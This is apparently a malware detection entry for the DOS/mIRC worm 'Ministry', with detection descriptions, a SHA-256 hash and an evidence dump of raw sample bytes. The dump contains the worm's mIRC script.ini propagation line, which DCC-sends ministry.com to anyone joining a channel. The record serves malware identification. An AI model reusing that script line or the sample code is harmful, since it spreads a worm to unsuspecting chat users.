IRC-Worm.DOS.Ministry.595
Worm spreading via DCC
Detects mIRC DCC spreading behavior targeting script.iniDetects mIRC worm behavior modifying script.ini to spread via IRC
SHA-25666924a444856fafc297b2902de206baee47977a49abd4746246a1552d08a08d9
MaleculeO₂(CLa)H(F)
Evidence
0X�` P�J����!s���SPHINXC--��Out of memory!$�Ministry--�EXE-Gency [KrashMag]�[script]
n0=on 1:JOIN:#: if ($me!=$nick) { /dcc send $nick c:\mirc\ministry.com
�U�������|�m6�F��M6�^��Q��d6�F��x�����x6�F�6�^��S���C6�F��W�'����<=��t�o����P��6�F����P� �P��������6�F�6�v����6�F�6�v���6�F�6�^��S�����6�v�6�v�6�v���6�^�������P6�v��^����=��t�� � �!������]�c:\mirc\script.ini�c:\mirc\ministry.com�*.COM�U���C6�V�!��]��]��U��C6�N6�V�!]��U���W6�^�!��]��]��U���W6�^�!��]��]��U��W6�^6�N6�V�!]���L�!ô=�!s1�ô@�!s1�ôN�!r1�ôO�!r1�ô>�!r1�ô<�!s1��